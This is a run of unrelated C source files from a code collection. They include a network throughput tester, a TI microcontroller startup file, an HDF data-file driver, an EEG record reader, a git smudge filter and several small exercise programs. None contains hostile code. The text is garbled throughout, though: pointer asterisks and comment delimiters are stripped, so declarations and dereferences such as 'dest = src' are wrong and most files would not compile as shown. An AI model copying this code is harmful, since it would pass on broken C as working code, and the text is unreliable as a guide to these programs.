max_children = atoi(optarg); if (max_children > MAX_CHILDREN \|\| max_children < 1) { fprintf(stderr, "%s: max connections must be >= 0 and < %d\n", argv[0], MAX_CHILDREN); return 99; } break; case 'C': cong_ctl = optarg; #ifndef TCP_CONGESTION fprintf(stderr, "%s: no support for congestion control overrides.\n", argv[0]); return 99; #endif break; case 's': sufficient = atof(optarg); if (sufficient < 1) { fprintf(stderr, "%s: sufficient time must be >= 1\n", argv[0]); return 99; } break; case 't': timeout = atoi(optarg); if (timeout < 0) { fprintf(stderr, "%s: timeout must be an integer >= 0, not '%s'\n", argv[0], optarg); return 99; } break; case 'h': case '?': default: usage_and_die(argv[0]); break; } } struct sigaction act = { .sa_handler = sighandler_die, .sa_flags = SA_RESETHAND, }; sigaction(SIGINT, &act, NULL); sigaction(SIGALRM, &act, NULL); signal(SIGPIPE, SIG_IGN); if (argc - optind == 0) { fprintf(stderr, "server mode.\n"); sock = socket(PF_INET6, SOCK_STREAM, 0); if (sock < 0) { perror("socket"); return 1; } int reuseval = 1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseval, sizeof(reuseval)) < 0) { perror("setsockopt(SO_REUSEADDR)"); return 1; } memset(&listenaddr, 0, sizeof(listenaddr)); listenaddr.sin6_family = AF_INET6; listenaddr.sin6_port = htons(SERVER_PORT); if (bind(sock, (struct sockaddr )&listenaddr, sizeof(listenaddr)) != 0) { perror("bind"); return 1; } socklen_t addrlen = sizeof(listenaddr); if (getsockname(sock, (struct sockaddr )&listenaddr, &addrlen) != 0) { perror("getsockname"); return 1; } if (cong_ctl && set_cong_ctl(sock, cong_ctl) != 0) { return 1; } if (listen(sock, 1)) { perror("listen"); return 1; } fprintf(stderr, "server listening at %s\n", sockaddr_to_str((struct sockaddr )&listenaddr)); int numchildren = 0; while (!want_to_die) { int nfds; if (numchildren < max_children) { nfds = do_select(sock, numchildren ? 10001000 : -1); } else { if (waitpid(-1, NULL, 0) > 0) { numchildren--; } nfds = 0; } while (waitpid(-1, NULL, WNOHANG) > 0) { numchildren--; } if (nfds > 0) { remoteaddr_len = sizeof(remoteaddr); int conn = accept(sock, (struct sockaddr )&remoteaddr, &remoteaddr_len); if (conn < 0) { perror("accept"); continue; } if (cong_ctl && set_cong_ctl(conn, cong_ctl) != 0) { return 1; } pid_t pid = fork(); if (pid < 0) { perror("fork"); if (nanosleep(&second, NULL)) { perror("nanosleep"); exit(99); } close(conn); } else if (pid > 0) { // parent close(conn); numchildren++; } else { // child close(sock); run_server(conn, &remoteaddr, remoteaddr_len); fprintf(stderr, "client disconnected.\n"); _exit(0); } } } } else if (argc - optind == 1) { fprintf(stderr, "client mode.\n"); if (cong_ctl) { fprintf(stderr, "%s: can't set congestion control in client mode.\n", argv[0]); usage_and_die(argv[0]); } if (!megabits_per_sec) { fprintf(stderr, "%s: must specify -b in client mode\n", argv[0]); usage_and_die(argv[0]); } if (timeout > 0) { alarm(timeout); } const char *remotename = argv[optind]; return run_client(remotename, ifr_name, megabits_per_sec, sufficient); } else { // wrong number of arguments usage_and_die(argv[0]); } if (sock >= 0) close(sock); return 0; }
the_stack_data/90766702.c	#include <stdio.h> #include <string.h> int x=1; void user_memcpy(unsigned char* dest, unsigned char src, size_t n) { while (n > 0) { dest = src; src += 1; dest += 1; n -= 1; } } int main() { int p = &x; int q; user_memcpy((unsigned char)&q, (unsigned char)&p, sizeof(int )); q = 11; // is this free of undefined behaviour? printf("p=%d q=%d\n",p,*q); }
the_stack_data/243892997.c	/* <TAGS>file </TAGS> DESCRIPTION: Read a binary SCORE record (RAW file format) containing a header and continuously sampled 8-bit data (EEG, LFP) Assumes data is stored as unsigned characters This version reads a single SCORE raw record, storing but not processing the header and the data USES: DEPENDENCY TREE: No dependencies ARGUMENTS: FILE fpin : pointer to input stream char header : pre-allocated array to hold the block header size_t nheader : number of bytes (characters) in the header (typically 35) unsigned char data : pre-allocated array to hold the block data size_t ndata : number of data bytes to read (sample-frequency x numbers-in-record x 1) char message : character array to hold messages, error-related or otherwise. RETURN VALUE: 0: success -1: failure SAMPLE CALL: char message[1000], header[35], infile[256]; int samplefreq=400, duration=10, ndata=samplefreqduration; while(!feof(fpin)) { x= xf_readscore_raw1(fpin,header,nheader,data,ndata,data,message); if(x<0) {fprintf(stderr,"\n\t--- %s/%s\n\n",thisprog,message); exit(1);) } / #include <stdio.h> #include <stdlib.h> #include <string.h> int xf_readscore_raw1(FILE fpin, char header, size_t nheader, unsigned char data, size_t ndata, char message) { char thisfunc="xf_readscore_raw1\0"; size_t nread; /******************************************************************************/ / READ HEADER / /******************************************************************************/ nread= fread(header,1,nheader,fpin); / failure to read any bytes does not indicate a corrupt file - merely the end of file has been reached / if(nread==0) return(0); / however if a portion of a header has been read, something is clearly wrong / else if(nread<nheader){ sprintf(message,"%s [ERROR]: bad header: less than the expected %ld bytes read",thisfunc,nheader); return(-1); } /******************************************************************************/ / READ DATA BLOCK / /******************************************************************************/ nread = fread(data,1,ndata,fpin); / if an entire data block has not been read, given that a header HAS been already read on this call, there must be a problem*/ if(nread!=ndata){ sprintf(message,"%s [ERROR]: bad block: only %ld of expected %ld bytes read",thisfunc,nread,ndata); return(-1); } return(0); }
the_stack_data/37569.c	//*************************************************************************** // // startup_gcc.c - Startup code for use with GNU tools. // // Copyright (c) 2010-2012 Texas Instruments Incorporated. All rights reserved. // Software License Agreement // // Texas Instruments (TI) is supplying this software for use solely and // exclusively on TI's microcontroller products. The software is owned by // TI and/or its suppliers, and is protected under applicable copyright // laws. You may not combine this software with "viral" open-source // software in order to form a larger program. // // THIS SOFTWARE IS PROVIDED "AS IS" AND WITH ALL FAULTS. // NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT // NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY // CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL // DAMAGES, FOR ANY REASON WHATSOEVER. // // This is part of revision 8555 of the EK-LM3S9B90 Firmware Package. // //************************************************************************* //************************************************************************* // // Forward declaration of the default fault handlers. // //************************************************************************* void ResetISR(void); static void NmiSR(void); static void FaultISR(void); static void IntDefaultHandler(void); //************************************************************************* // // External declarations for the interrupt handlers used by the application. // //************************************************************************* extern void GPIOAIntHandler(void); extern void Timer0AIntHandler(void); extern void Timer0BIntHandler(void); //************************************************************************* // // The entry point for the application. // //************************************************************************* extern int main(void); //************************************************************************* // // Reserve space for the system stack. // //************************************************************************* static unsigned long pulStack[64]; //************************************************************************* // // The vector table. Note that the proper constructs must be placed on this to // ensure that it ends up at physical address 0x0000.0000. // //*************************************************************************** __attribute__ ((section(".isr_vector"))) void (* const g_pfnVectors[])(void) = { (void ()(void))((unsigned long)pulStack + sizeof(pulStack)), // The initial stack pointer ResetISR, // The reset handler NmiSR, // The NMI handler FaultISR, // The hard fault handler IntDefaultHandler, // The MPU fault handler IntDefaultHandler, // The bus fault handler IntDefaultHandler, // The usage fault handler 0, // Reserved 0, // Reserved 0, // Reserved 0, // Reserved IntDefaultHandler, // SVCall handler IntDefaultHandler, // Debug monitor handler 0, // Reserved IntDefaultHandler, // The PendSV handler IntDefaultHandler, // The SysTick handler GPIOAIntHandler, // GPIO Port A IntDefaultHandler, // GPIO Port B IntDefaultHandler, // GPIO Port C IntDefaultHandler, // GPIO Port D IntDefaultHandler, // GPIO Port E IntDefaultHandler, // UART0 Rx and Tx IntDefaultHandler, // UART1 Rx and Tx IntDefaultHandler, // SSI0 Rx and Tx IntDefaultHandler, // I2C0 Master and Slave IntDefaultHandler, // PWM Fault IntDefaultHandler, // PWM Generator 0 IntDefaultHandler, // PWM Generator 1 IntDefaultHandler, // PWM Generator 2 IntDefaultHandler, // Quadrature Encoder 0 IntDefaultHandler, // ADC Sequence 0 IntDefaultHandler, // ADC Sequence 1 IntDefaultHandler, // ADC Sequence 2 IntDefaultHandler, // ADC Sequence 3 IntDefaultHandler, // Watchdog timer Timer0AIntHandler, // Timer 0 subtimer A Timer0BIntHandler, // Timer 0 subtimer B IntDefaultHandler, // Timer 1 subtimer A IntDefaultHandler, // Timer 1 subtimer B IntDefaultHandler, // Timer 2 subtimer A IntDefaultHandler, // Timer 2 subtimer B IntDefaultHandler, // Analog Comparator 0 IntDefaultHandler, // Analog Comparator 1 IntDefaultHandler, // Analog Comparator 2 IntDefaultHandler, // System Control (PLL, OSC, BO) IntDefaultHandler, // FLASH Control IntDefaultHandler, // GPIO Port F IntDefaultHandler, // GPIO Port G IntDefaultHandler, // GPIO Port H IntDefaultHandler, // UART2 Rx and Tx IntDefaultHandler, // SSI1 Rx and Tx IntDefaultHandler, // Timer 3 subtimer A IntDefaultHandler, // Timer 3 subtimer B IntDefaultHandler, // I2C1 Master and Slave IntDefaultHandler, // Quadrature Encoder 1 IntDefaultHandler, // CAN0 IntDefaultHandler, // CAN1 IntDefaultHandler, // CAN2 IntDefaultHandler, // Ethernet IntDefaultHandler, // Hibernate IntDefaultHandler, // USB0 IntDefaultHandler, // PWM Generator 3 IntDefaultHandler, // uDMA Software Transfer IntDefaultHandler, // uDMA Error IntDefaultHandler, // ADC1 Sequence 0 IntDefaultHandler, // ADC1 Sequence 1 IntDefaultHandler, // ADC1 Sequence 2 IntDefaultHandler, // ADC1 Sequence 3 IntDefaultHandler, // I2S0 IntDefaultHandler, // External Bus Interface 0 IntDefaultHandler // GPIO Port J }; //************************************************************************** // // The following are constructs created by the linker, indicating where the // the "data" and "bss" segments reside in memory. The initializers for the // for the "data" segment resides immediately following the "text" segment. // //************************************************************************* extern unsigned long _etext; extern unsigned long _data; extern unsigned long _edata; extern unsigned long _bss; extern unsigned long _ebss; //************************************************************************* // // This is the code that gets called when the processor first starts execution // following a reset event. Only the absolutely necessary set is performed, // after which the application supplied entry() routine is called. Any fancy // actions (such as making decisions based on the reset cause register, and // resetting the bits in that register) are left solely in the hands of the // application. // //*************************************************************************** void ResetISR(void) { unsigned long pulSrc, pulDest; // // Copy the data segment initializers from flash to SRAM. // pulSrc = &_etext; for(pulDest = &_data; pulDest < &_edata; ) { pulDest++ = pulSrc++; } // // Zero fill the bss segment. // __asm(" ldr r0, =_bss\n" " ldr r1, =_ebss\n" " mov r2, #0\n" " .thumb_func\n" "zero_loop:\n" " cmp r0, r1\n" " it lt\n" " strlt r2, [r0], #4\n" " blt zero_loop"); // // Call the application's entry point. // main(); } //*************************************************************************** // // This is the code that gets called when the processor receives a NMI. This // simply enters an infinite loop, preserving the system state for examination // by a debugger. // //************************************************************************* static void NmiSR(void) { // // Enter an infinite loop. // while(1) { } } //************************************************************************* // // This is the code that gets called when the processor receives a fault // interrupt. This simply enters an infinite loop, preserving the system state // for examination by a debugger. // //************************************************************************* static void FaultISR(void) { // // Enter an infinite loop. // while(1) { } } //************************************************************************* // // This is the code that gets called when the processor receives an unexpected // interrupt. This simply enters an infinite loop, preserving the system state // for examination by a debugger. // //*************************************************************************** static void IntDefaultHandler(void) { // // Go into an infinite loop. // while(1) { } }
the_stack_data/1186109.c	/* --Mode: C;-- * Module: cdunif HDF driver functions * * Copyright: 1994, Regents of the University of California * This software may not be distributed to others without * permission of the author. * * Author: Dean N. Williams, Lawrence Livermore National Laboratory * [email protected] * * Version: cdunifnc.c,v 1.4 1996/06/12 22:35:55 williams Exp * * Revision History: * * cdunifnc.c,v * Revision 1.4 1996/06/19 22:35:55 williams * - Added HDF * * Revision 1.3 1995/06/09 22:35:55 drach * - Made grads error string length consistent * - Allow null return parameters for netCDF files * * Revision 1.2 1995/03/30 00:20:41 drach * Allow 99 as a valid lu * * Revision 1.1 1995/03/09 00:30:36 drach * Added netCDF (no mods to cdunif.c in this version) * * / / The mapping of index model from cdunif to HDF is a follows: - cdunif varid corresponds to HDF sds_index, an integer (0..nvars-1) - cdunif dimid corresponds to HDF dimid, but HDF dimids are not numbered 0..ndims-1, as are cdunif dimids. The mapping is done by cudimid2hdf. The assumption is that HDF dimids are consecutive integers in the range minid..maxid. min HDF dimension ID is stored in file->internid2. number of HDF dimensions is stored in file->ndims. All HDF dimensions are treated as global, that is, they can be shared by variables. The SD interface ID returned by SDstart is stored in file->internid1. / #ifdef hdf #include "cdunifint.h" #include "hdf.h" / Should follow cdunifint.h to / / get the HDF defs for MAX_NC_XXX / / Map cdunif dimid (0 .. file->ndims-1) to HDF dimid / int32 cudimid2hdf(CuFile file, int dimid){ if(dimid<0 \|\| dimid>=file->ndims){ CuError(CU_EBADDIM,"File %s, dimension ID %d",file->controlpath, dimid); return -1; } return (int32)(file->internid2 + dimid); } /* Open and read the HDF file. Return the file ID if successful, or * report error and send back failure status (-1). / int cuopenread_hdf(const char controlpath, const char* datapath){ CuFile* file; int32 cdfid; int nvars=0, natts=0; int varid, ndims, dimidx, maxdim, mindim; int32 dimid, sds_id; CuDim dim; / Open the HDF file. DFACC_RDONLY is defined in hdf.h. / if ((cdfid=SDstart(controlpath, DFACC_RDONLY))==-1) { CuError(CU_EOPEN,"Opening HDF file %s",controlpath); cuerrorreport_hdf(); return -1; } / Make sure there is a scientific dataset / SDfileinfo(cdfid, &nvars, &natts); if (nvars==0 && natts==0){ CuError(CU_EOPEN,"HDF file %s does not contain any scientific datasets",controlpath); cuerrorreport_hdf(); return -1; } if((file = CuCreateFile(CuHdf))==(CuFile)0){ return -1; } /* Set the file path and file ID / strncpy(file->controlpath,controlpath,CU_MAX_PATH); file->internid1 = cdfid; / Set up a mapping of cdunif dimid to HDF dimid: / / Go through all the dimensions, find min and max HDF_dimid. / / ASSUME THAT DIMENSION IDS ARE CONSECUTIVE NONNEGATIVE NUMBERS. / / Store base dimid in file->internid2. / / The mapping is 0 --> mindim, 1 --> mindim+1, etc. / mindim = maxdim = -1; for (varid=0; varid<nvars; varid++){ if (cuvarinq_hdf(file, varid, NULL, NULL, &ndims, NULL, NULL)) return -1; if ((sds_id=SDselect(file->internid1, varid)) == -1) { cuerrorreport_hdf(); return -1; } for (dimidx=0; dimidx<ndims; dimidx++){ if((dimid=SDgetdimid(sds_id, dimidx))==-1){ cuerrorreport_hdf(); return -1; } if (maxdim==-1){ mindim = maxdim = dimid; } else{ mindim = MIN(mindim, dimid); maxdim = MAX(maxdim, dimid); } } } file->internid2 = mindim; file->ndims = maxdim-mindim+1; / Return file ID / return file->id; } / Close the file. Return success (0) if the file was close sucessfully, * or report error and send back failure status (-1). / int cuclose_hdf(CuFile file){ /* Dispose of the file identifier to close the file. / if (SDend(file->internid1) == -1 ) { CuError(CU_EOPEN,"Closing HDF file %s",file->controlpath); cuerrorreport_hdf(); return -1; } / Return success ( 0 ). / return CU_SUCCESS; } / Obtain information about the specific HDF file. * / int cuinquire_hdf(CuFile file, int* ngdims, int* nvars, int* natts, int* recdim){ int t_ngdims, t_nvars, t_natts, t_recdim; int dimidx; int32 dimid, datatype, ndattrs; long len; /* Determine the contents of the file. / if (SDfileinfo(file->internid1, (nvars ? nvars : &t_nvars), / # of data sets in file / (natts ? natts : &t_natts)) / # of global attr. in file / == -1 ) { CuError(CU_DRIVER,"Determining the contents of the HDF file %s", file->controlpath); cuerrorreport_hdf(); return -1; } if (ngdims) ngdims = file->ndims; /* Look for an unlimited dimension / if (recdim) { recdim = -1; for (dimidx=0; dimidx<file->ndims; dimidx++){ if((dimid=cudimid2hdf(file, dimidx))==-1) return -1; if(SDdiminfo(dimid, NULL, &len, &datatype, &ndattrs)==-1){ cuerrorreport_hdf(); return -1; } if (len==0) recdim = dimidx; } } / Return success ( 0 ). / return CU_SUCCESS; } / Given the file ID, variable ID, and name of the dimension, return * the dimension ID. / int cudimid_hdf(CuFile file, int varid, const char* name){ int32 sds_idx, sds_id; /* Search for the index of the named array data set. / if ((sds_idx=SDnametoindex(file->internid1, name)) == -1) { CuError(CU_DRIVER,"Obtaining dataset in file %s",file->controlpath); cuerrorreport_hdf(); return -1; } / Select the data set corresponding to the returned index. / if ((sds_id=SDselect(file->internid1, sds_idx)) == -1) { CuError(CU_DRIVER,"Obtaining dataset in file %s",file->controlpath); cuerrorreport_hdf(); return -1; } / Return dimension ID or failure ( -1 ). / return (SDgetdimid(sds_id, 0) - file->internid2); / pass back the dimension id / } / Get information about the dimension. Return success (0) if the * dimension information was obtained sucessfully, otherwise this * function returns the failure status (-1). / int cudiminq_hdf(CuFile file, int dimidx, char* dimname, char* dimunits, CuType* dataType, CuDimType* dimtype, int* varid, long* length){ char dname[H4_MAX_NC_NAME+1]; int cdfid; int dimvarid; /* HDF ID of variable associated with this dimension. / int found; / True iff a dimension variable was found. / int ndims; int get_dimid; int saveopts; long len; hdf_type hdftype, hdfunitstype; int natts; char varname[H4_MAX_NC_NAME+1]; int attlen; int32 sds_id, attr_index, datatype, nattrs; int32 dim_sizes[H4_MAX_VAR_DIMS]; char attr_name[H4_MAX_NC_NAME]; int32 dimid; cdfid = file->internid1; if((dimid = cudimid2hdf(file, dimidx))==-1) return -1; / Get information about the selected dimension. / if(SDdiminfo(dimid, dname, &len, &datatype, &nattrs)==-1){ cuerrorreport_hdf(); return -1; } if(dimname) strncpy(dimname,dname,CU_MAX_NAME); if(length) length = len; /* HDF dimensions are always global / if(varid) varid = CU_GLOBAL; if(dimtype) dimtype = CuGlobalDim; / Inquire a variable with / / - the same name as dimname, / / - a single dimension, and / / - a dimension name which equals the variable name. / if((dimvarid = SDnametoindex(cdfid, dname)) != -1){ sds_id = SDselect(cdfid, dimvarid); if (SDgetinfo(sds_id, varname, &ndims, dim_sizes, &hdftype, &natts) == -1){ cuerrorreport_hdf(); return -1; } / pass back the dimension id / if ((get_dimid = SDgetdimid(sds_id, 0)) == -1){ cuerrorreport_hdf(); return -1; } found = (ndims == 1 && get_dimid == dimid); } else found = 0; / If dimension variable was found, / / inquire the units attribute (if any) / if(found){ sds_id = SDselect(cdfid, dimvarid); / Set the length of an unlimited dimension. / if (len==0 && length) length = dim_sizes[0]; /* Find the data set attribute name index. / attr_index = SDfindattr(sds_id, "units"); / Get information about the data set attribute. / if(SDattrinfo(sds_id, attr_index, attr_name, &hdfunitstype, &attlen) != -1 && hdfunitstype == DFNT_CHAR) { if(dimunits && SDreadattr(sds_id, attr_index, dimunits)==-1) return -1; } / Dimension variable was found, but no character units string / else{ if(dimunits) strcpy(dimunits,""); } if(dataType) { cumapdatatype_hdf(hdftype, dataType); if (dataType==CuInvalidType) return -1; } } else{ /* The dimension variable was not found: / / return default units and datatype / if(dimunits) strcpy(dimunits,""); if(dataType) dataType = CuFloat; } /* Return success ( 0 ). / return CU_SUCCESS; } / Get dimension coordinates values. Return success (0) if the * dimension values were obtained sucessfully, otherwise this * function returns the failure status (-1). / int cudimget_hdf(CuFile file, int dimidx, void* values){ char dimname[H4_MAX_NC_NAME+1]; float fp; int cdfid; int get_dimid; int dimvarid; int found; int ndims; int saveopts; long i; long length; long start; char varname[H4_MAX_NC_NAME+1]; hdf_type hdftype; int natts; int32 dimid; int32 sds_id, datatype, nattrs, attr_index, num_type, count; int32 dim_sizes[H4_MAX_VAR_DIMS]; char attr_name[H4_MAX_NC_NAME]; cdfid = file->internid1; if((dimid = cudimid2hdf(file, dimidx))==-1) return -1; / Get information about the selected dimension. / if(SDdiminfo(dimid, attr_name, &length, &datatype, &nattrs)==-1){ return -1; } / Inquire a variable with / / - the same name as dimname, / / - a single dimension, and / / - a (single) dimension id which equals dimid / if((dimvarid = SDnametoindex(cdfid, attr_name)) != -1){ sds_id = SDselect(cdfid, dimvarid); if (SDgetinfo(sds_id, varname, &ndims, dim_sizes, &hdftype, &natts) == -1){ cuerrorreport_hdf(); return -1; } / pass back the dimension id / if ((get_dimid = SDgetdimid(sds_id, 0)) == -1){ cuerrorreport_hdf(); return -1; } found = (ndims == 1 && get_dimid == dimid); } else found = 0; / If the dimension variable was found, read it / if(found){ start = 0; if(values && SDgetdimscale(dimid, (VOIDP) values)==-1) return -1; } else{ / Otherwise assign the default dimension / if(values){ for(i=0, fp=(float)values; i<length; i++){ fp++ = (float)i; } } } / Return success ( 0 ). / return CU_SUCCESS; } / Given the file ID and variable name, return the variable id. * Return success (0) if the variable ID was obtained sucessfully; * otherwise this function returns the failure status (-1). / int cuvarid_hdf(CuFile file, const char* name){ int saveopts; int varid; /* The the index of the variable array data set. / varid = SDnametoindex(file->internid1,name); / Return variable ID, or failure ( -1 ). / return varid; } / Get information about the variable. Return success (0) if the * variable information was obtained sucessfully, otherwise this * function returns the failure status (-1). / int cuvarinq_hdf(CuFile file, int varid, char* name, CuType* datatype, int* ndims, int dimids[], int* natts){ int err, i; hdf_type dtype; char t_name[H4_MAX_NC_NAME+1]; int t_ndims, t_natts, numdims; int t_dimids[H4_MAX_VAR_DIMS]; int32 sds_id, index; int32 dim_sizes[H4_MAX_VAR_DIMS]; /* Select the data set corresponding to the returned index. / sds_id = SDselect(file->internid1, varid); / Get the variable information. / if ((err=SDgetinfo(sds_id, (name ? name : t_name), (ndims ? ndims : &t_ndims), dim_sizes, &dtype, (natts ? natts : &t_natts))) != -1) { if(datatype) { cumapdatatype_hdf(dtype,datatype); if (datatype==CuInvalidType) return -1; } /* Retrieve dimension IDs. / if (dimids) { numdims = (ndims ? ndims : t_ndims); for (i=0; i < numdims; ++i) /* reverse the order / dimids[i] = SDgetdimid (sds_id, i) - file->internid2; } } / Return variable ID, or failure ( -1 ). / return (err==-1 ? -1 : CU_SUCCESS); } / Retrieve the variable values. Return success (0) if the * variable values were obtained sucessfully, otherwise this * function returns the failure status (-1). / int cuvarget_hdf(CuFile file, int varid, const long start[], const long count[], void* values){ int32 sds_id, i, ndims; int32 startvalues, edges, natts; int32 dim_sizes[H4_MAX_VAR_DIMS]; char name[H4_MAX_NC_NAME+1]; hdf_type dtype; /* Get the identifier for the data set. / sds_id = SDselect(file->internid1, varid); / Get the number of dimensions. / if (SDgetinfo(sds_id, name, &ndims, dim_sizes, &dtype, &natts) == -1) { cuerrorreport_hdf(); return (-1); } / Define dimension size / startvalues = (int32 )malloc((ndims)sizeof(int32)); edges = (int32 )malloc((ndims)sizeof(int32)); for (i = 0; i < ndims; ++i) { startvalues[i] = start[i]; edges[i] = count[i]; } / Read the data array. / if (SDreaddata(sds_id, startvalues, NULL, edges, (VOIDP)values) == -1) { cuerrorreport_hdf(); return (-1); } free ((char ) startvalues); free ((char ) edges); / Return success ( 0 ). / return (CU_SUCCESS); } / Given the file ID and variable ID, retrieve information about the * specified attribute. Return success (0) if the attribute information * was obtained sucessfully, otherwise this function returns the failure * status (-1). / int cuattinq_hdf(CuFile file, int varid, const char* name, CuType* datatype, int* len){ int err, saveopts; hdf_type dtype; int t_len; int32 sds_id, attr_index; char attr_name[H4_MAX_NC_NAME]; /* Get the identifier for the first data set or file. / if (varid == CU_GLOBAL) sds_id = file->internid1; else sds_id = SDselect(file->internid1, varid); / Find the data set attribute name index. / attr_index = SDfindattr(sds_id, name); / Get information about the data set attribute. / if((err = SDattrinfo(sds_id, attr_index, attr_name, &dtype, (len ? len : &t_len))) != -1) if(datatype) { cumapdatatype_hdf(dtype, datatype); if (datatype==CuInvalidType) return -1; } /* Return success ( 0 ), or failure ( -1 ). / return (err == -1 ? -1 : CU_SUCCESS); } / Given the file ID, variable ID, and attribute name, retrieve attribute * values. Return success (0) if the attribute information was obtained * sucessfully, otherwise this function returns the failure status (-1). / int cuattget_hdf(CuFile file, int varid, const char* name, void* value){ int32 sds_id, attr_index, num_type, count; int32 status; int8 buffer; char attr_name[H4_MAX_NC_NAME]; / Get the identifier for the data set or file. / if (varid == CU_GLOBAL) sds_id = file->internid1; else sds_id = SDselect(file->internid1, varid); / Find the data set attribute name index. / attr_index = SDfindattr(sds_id, name); / Get information about the data set attribute. / SDattrinfo(sds_id, attr_index, attr_name, &num_type, &count); / Read the attribute data and return success ( 0 ), * or failure ( -1 ). / return (SDreadattr(sds_id, attr_index, value) == -1 ? -1 : CU_SUCCESS); } / Given the file ID and variable ID, get information about the * data set attribute. / int cuattname_hdf(CuFile file, int varid, int attnum, char* name){ int32 sds_id, num_type, count, status; char attr_name[H4_MAX_NC_NAME]; /* Get the identifier for the data set or file. / if (varid == CU_GLOBAL) sds_id = file->internid1; else sds_id = SDselect(file->internid1, varid); / Get information about the data set attribute. / status = SDattrinfo(sds_id, attnum, name, &num_type, &count); / Return success ( 0 ), or failure ( -1 ). / return (status == -1 ? -1 : CU_SUCCESS); } / HDF Error Reporting. At the start of opening the HDF file clear * the HDF error stack. / void cuseterropts_hdf(int erropts){ HEclear(); / Clear the HDF error stack. / return; } / HDF Error Reporting. If there is an HDF error, then print all the * errors via CuError and clear the HDF error stack. / void cuerrorreport_hdf() { int32 i=0, e; const char estr; /* Print all errors stored in the error HDF stack. / while ((e = HEvalue(i)) != DFE_NONE) { estr = HEstring(e); CuError(CU_DRIVER,"HDF reported error(s) - (%s)", estr); ++i; } HEclear(); / Clear the HDF error stack. / } / Given the HDF data type, return the cdunif data type. / void cumapdatatype_hdf(hdf_type hdftype, CuType cutype){ if(cutype==(CuType)0) return; cutype = CuInvalidType; switch (hdftype){ case DFNT_INT8: case DFNT_UINT8: cutype = CuByte; break; case DFNT_CHAR: / Same as DFNT_CHAR8. / cutype = CuChar; break; case DFNT_INT16: /* 16-bit integer type. / cutype = CuShort; break; case DFNT_INT32: /* 32-bit integer type. / cutype = CuLong; break; case DFNT_FLOAT32: /* 32-bit float type. / cutype = CuFloat; break; case DFNT_FLOAT64: /* 64-bit float type. / cutype = CuDouble; break; default: CuError(CU_DRIVER,"Unrecognized HDF type %d",(int)hdftype); cuerrorreport_hdf(); break; } return; } #endif
the_stack_data/97012624.c	#include<stdio.h> int main() { int n=1; while(n<=100) { printf("%d\n", n); n++; } return 0; }
the_stack_data/242330148.c	#include <stdio.h> void printPattern (int); void printWhitespaces (int); int main () { int totalLines; printf("How many lines to be printed? -- "); fflush(stdout); scanf("%d", &totalLines); printf("\nYour pattern looks like this:\n"); printf("\n"); printPattern (totalLines); printf("\n"); return 0; } void printPattern (int totalLines) { int whiteSpace, print; for (int i = 1; i <= totalLines; i++) { whiteSpace = (totalLines - i); printWhitespaces (whiteSpace); print = ((2 * i) - 1); for (int j = 1; j <= print; j++) { (i & 1) ? printf ("%2d ", i) : printf (" * "); } printf("\n"); } } void printWhitespaces (int total) { for (int i = 1; i <= total; i++) { printf(" "); } }
the_stack_data/359644.c	#include <stdio.h> #define MAX 500009 int c[MAX],n,m; void update(int x,int deltax); int query(int l,int r); int prefix(int r); int lowbit(int x); void read(void); int main(void) { int i; read(); for(i=0;i<m;++i){ int op,x,y; scanf("%d%d%d",&op,&x,&y); if(op==1){ update(x,y); }else { printf("%d\n",query(x,y)); } } return 0; } void read(void) { int i; scanf("%d%d",&n,&m); for(i=1;i<=n;++i){ int x; scanf("%d",&x); update(i,x); } } int lowbit(int x) { return x&(~x+1); } int query(int l,int r) { return prefix(r)-prefix(l-1); } int prefix(int r) { int ans=0; while(r){ ans+=c[r]; r-=lowbit(r); } return ans; } void update(int x,int deltax) { while(x<=n){ c[x]+=deltax; x+=lowbit(x); } }
the_stack_data/62638850.c	#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> // only supports int main(int argc, char* argv[]) { FILE asset; char path; // todo: use libgit2 to parse git config. char asset_path = "/Users/chobie/src/assset-san/assets"; char asset_file; unsigned char buffer[BUFSIZ] = {0}; size_t read, length; long total, written = 0; if (argc != 2) { fprintf(stderr, "git-smudge <file-path>"); exit(-1); } path = argv[1]; //fprintf(stderr, "path: %s", path); asset_file = malloc(strlen(asset_path) + 1 + strlen(path) + 1); sprintf(asset_file, "%s/%s", asset_path, path); asset = fopen(asset_file, "rb"); if (asset) { fprintf(stderr, "copying %s...\n", path); fseek(asset, 0, SEEK_END); total = ftell(asset); fseek(asset, 0, SEEK_SET); //fprintf(stderr, "# found %s\n", asset_file); //fprintf(stderr, " total: %d\n", total); while (total >= written) { read = fread(buffer, 1, sizeof(buffer), asset); //fprintf(stderr, "bytes: %d\n", read); if (read == 0) { break; } length = fwrite(buffer, sizeof(unsigned char), read, stdout); //fprintf(stderr, "length: %d", read); written += length * sizeof(unsigned char); } fclose(stdout); fclose(asset); } else { fprintf(stderr, "# Assets file Not found. use original file."); while (!feof(stdin)) { read = fread(buffer, 1, sizeof(buffer), stdin); //fprintf(stderr, "bytes: %d\n", read); if (read == 0) { break; } fwrite(buffer, sizeof(unsigned char), read, stdout); } } //fprintf(stderr, " written: %d\n", written); free(asset_file); return 0; }
the_stack_data/119416.c	#include <stdio.h> int main() { int n; int i,j; int temp; int star[101]; int end[101]; int cont = 1; while(~scanf("%d",&n)) { cont = 1; if(n == 0) return 0; for(i = 0; i < n; i++) scanf("%d %d",&star[i],&end[i]); for(i = 0; i < n-1; i++) { for(j = 0; j < n-i-1; j++) { if(end[j] > end[j+1]) { temp = end[j]; end[j] = end[j+1]; end[j+1] = temp; temp = star[j]; star[j] = star[j+1]; star[j+1] = temp; } } } j = 0; for(i = 1; i < n; i++) { if(star[i] >= end[j] && end[i] > end[j]) { j = i; cont++; } } printf("%d\n",cont); } }
the_stack_data/154441.c	/* ********************************************** username : smmehrab fullname : s.m.mehrabul islam email : [email protected] institute : university of dhaka, bangladesh session : 2017-2018 ********************************************** */ #include<stdio.h> int main() { int t,n; char s[]="HOSTED",ns[]="NOT HOSTED"; scanf("%d",&t); while(t--){ scanf("%d",&n); if(n==2010 \|\| n==2015 \|\| n==2016 \|\| n==2017 \|\| n==2019) puts(s); else puts(ns); } return 0; }
